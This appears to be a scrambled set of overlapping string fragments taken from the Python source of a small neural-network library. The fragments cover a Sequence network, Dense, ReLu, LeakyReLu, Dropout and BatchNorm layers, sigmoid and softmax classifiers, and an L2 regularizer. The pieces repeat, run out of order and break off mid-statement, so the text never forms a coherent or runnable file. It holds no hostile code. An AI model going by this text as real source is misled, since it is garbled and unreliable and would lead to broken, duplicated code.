default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int,", "+ \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes:", "..core.static_shape import Dim from ..utils import validate from ..utils.naming import NameGenerator class Network(abc.ABC):", "f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos,", "else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is None else gamma_initializer def", "= f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO", "validate from ..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph", "\\ if gamma_initializer is None else gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features", "class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph,", "Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator)", "self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def", "f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op,", "= None self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return", "self.default_gamma_initializer \\ if gamma_initializer is None else gamma_initializer def do_append(self, pos, cost_graph, predict_graph):", "new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator", "int, layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples =", "= self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma =", "\"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC):", "TODO Allow different axis for the \"features\" and \"examples\" dimension cnt_features = cost_g.shape[0]", "= None self.var_name_generator = None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator:", "self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def", "def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self):", "cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is not None: cost_graph", "bias_initializer is None else bias_initializer def do_append(self, pos, cost_g, predict_g): # TODO Allow", "self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos: int, logits: Node, labels:", "\"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return", "predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is not None: cost_graph =", "weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is None", "None self.inputs = None self.labels = None self.label_size = None self.cnt_classes = None", "classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names,", "predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer()", "predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size =", "= None self.predict_graph = None self.inputs = None self.labels = None self.label_size =", "cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features))", "def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train):", "not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph =", "Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons:", "gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name", "= lambd def do_append(self, cost_graph: Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name +", "cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name", "SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator = None def new_var_name(self, prefix): return", "if beta_initializer is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is", "cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return", "prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC):", "layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels =", "def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train}", "pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node,", "self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name,", "name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\")", "abc from ..core import node_factory as f, initializers as init from ..core.graph import", "__init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\ if", "= classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph,", "self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class", "\"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\", "should be between 0 and 1\") self.keep_prob = keep_prob def do_append(self, pos, cost_graph,", "{self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def", "\\ self.inputs, self.inputs, [] for pos, layer in enumerate(layers): cost_graph, predict_graph, vars =", "self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is None else bias_initializer def do_append(self, pos,", "= Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs,", "+ \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd > 0: return", "labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph:", "dim, vars, name=self.layer_name) if self.lambd > 0: return cost_graph + reg else: return", "predict_graph, self.labels) if regularizer is not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs)", "= f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name +", "def __init__(self): self.cost_graph = None self.predict_graph = None self.inputs = None self.labels =", "self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class Sequence(Network):", "cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer()", "gamma_initializer is None else gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0]", "int, logits: Node, labels: Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer =", "name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax class", "\"_p\"), \\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0 < keep_prob", "None else bias_initializer def do_append(self, pos, cost_g, predict_g): # TODO Allow different axis", "[] class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph,", "abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name = None self.label_size = label_size self.cnt_classes =", "do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1,", "NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph,", "self.keep_prob = keep_prob def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\", "initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class", "return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\",", "\"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node, vars,", "w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b", "super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph,", "def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name +", "def __init__(self, label_size, cnt_classes): self.layer_name = None self.label_size = label_size self.cnt_classes = cnt_classes", "= f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd", "1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma,", "self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name,", "label_size, cnt_classes): self.layer_name = None self.label_size = label_size self.cnt_classes = cnt_classes def append(self,", "first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name", "self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs): pass", "self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1))", "classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node,", "self.inputs = None self.labels = None self.label_size = None self.cnt_classes = None def", "f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer): def __init__(self,", "= cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons,", "classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is not None: cost_graph = regularizer.append(self.layer_names, cost_graph,", "__init__(self): self.layer_name = None self.var_name_generator = None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def", "def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class", "= regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC):", "\\ if beta_initializer is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer", "None self.var_name_generator = None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator):", "Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos: int,", "self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph,", "None self.label_size = None self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs:", "self.lambd = lambd def do_append(self, cost_graph: Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name", "inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd def do_append(self, cost_graph:", "[] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None):", "{self.inputs: x_train, self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features: int, layers, classifier, regularizer=None):", "pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer", "predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name + \"_p\") return cost_fc,", "initializers as init from ..core.graph import Node, Graph from ..core.static_shape import Dim from", "NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self,", "class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None,", "f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd > 0: return cost_graph + reg else:", "[w] class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph,", "None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train,", "default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer", "Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None):", "self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator)", "= classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is not None: cost_graph = regularizer.append(self.layer_names,", "bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is None else", "cost_graph: Node, predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2)", "f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\") return bnt, bnp, [beta, gamma] class", "y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs:", "bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\") return bnt, bnp, [beta,", "name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def", "cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self):", "LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name +", "beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is None else beta_initializer self.gamma_initializer", "def do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name =", "= init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is", "== 0), name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self,", "init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer", "None self.predict_graph = None self.inputs = None self.labels = None self.label_size = None", "evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train,", "shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc =", "[] class Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0 < keep_prob <= 1):", "Allow different axis for the \"features\" and \"examples\" dimension cnt_features = cost_g.shape[0] w_name", "f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs, [] for pos,", "do_append(self, cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd =", "shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs, [] for pos, layer", "= f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer", "x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train):", "0), name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self, pos,", "f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if regularizer is", "return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node, vars, inputs):", "import validate from ..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph = None", "bias_initializer def do_append(self, pos, cost_g, predict_g): # TODO Allow different axis for the", "y_train} class Sequence(Network): def __init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names =", "def append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod", "predict_g): # TODO Allow different axis for the \"features\" and \"examples\" dimension cnt_features", "is not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph", "= f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\") return bnt, bnp, [beta, gamma]", "classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): entropy", "self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs, []", "self.new_var_name(\"gamma\") beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1))", "axis for the \"features\" and \"examples\" dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\")", "__init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features)", "predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples))", "f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator,", "do_append(self, cost_graph: Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg =", "name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0", "self.layer_name = None self.var_name_generator = None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self,", "= self.default_weight_initializer \\ if weight_initializer is None else weight_initializer self.bias_initializer = self.default_bias_initializer \\", "cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples", "abc.ABC): def append(self, pos: int, name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return", "default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons", "def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"),", "the \"features\" and \"examples\" dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name =", "keep_prob=0.8): if not (0 < keep_prob <= 1): raise ValueError(f\"Keep probability should be", "self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels) if", "regularizable_vars = \\ self.inputs, self.inputs, [] for pos, layer in enumerate(layers): cost_graph, predict_graph,", "class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer", "= f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt =", "neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer", "argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def", "import node_factory as f, initializers as init from ..core.graph import Node, Graph from", "def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node,", "validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node):", "self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels:", "cost_graph: Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\") reg = f.l2_norm_regularizer(self.lambd,", "= None self.labels = None self.label_size = None self.cnt_classes = None def evaluate(self,", "cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name),", "beta_initializer is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is None", "return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer): def", "= Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator", "default_bias_initializer = init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer", "predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self,", "Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self,", "= NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples))", "if bias_initializer is None else bias_initializer def do_append(self, pos, cost_g, predict_g): # TODO", "class SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes,", "= self.default_beta_initializer \\ if beta_initializer is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\", "self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return", "def do_append(self, pos, cost_g, predict_g): # TODO Allow different axis for the \"features\"", "y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features: int,", "def do_append(self, cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd", "= f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name + \"_p\") return cost_fc, predict_fc,", "w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc", "self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is None else gamma_initializer def do_append(self, pos,", "self.cost_graph = None self.predict_graph = None self.inputs = None self.labels = None self.label_size", "\"_p\") return bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes):", "import Dim from ..utils import validate from ..utils.naming import NameGenerator class Network(abc.ABC): def", "SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes)", "name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self, pos, cost_graph,", "return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer): default_beta_initializer = init.ZeroInitializer() default_gamma_initializer", "f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis", "append(self, pos: int, name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits,", "def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self,", "Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph:", "self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names", "pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ []", "= name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos: int,", "[beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name = None self.label_size", "is None else bias_initializer def do_append(self, pos, cost_g, predict_g): # TODO Allow different", "= None self.label_size = label_size self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph: Node,", "init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is None", "def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class Sequence(Network): def", "\"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\")", "y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders", "None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate(", "if not (0 < keep_prob <= 1): raise ValueError(f\"Keep probability should be between", "shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b,", "Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars,", "labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name +", "@abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8):", "prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator =", "name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod 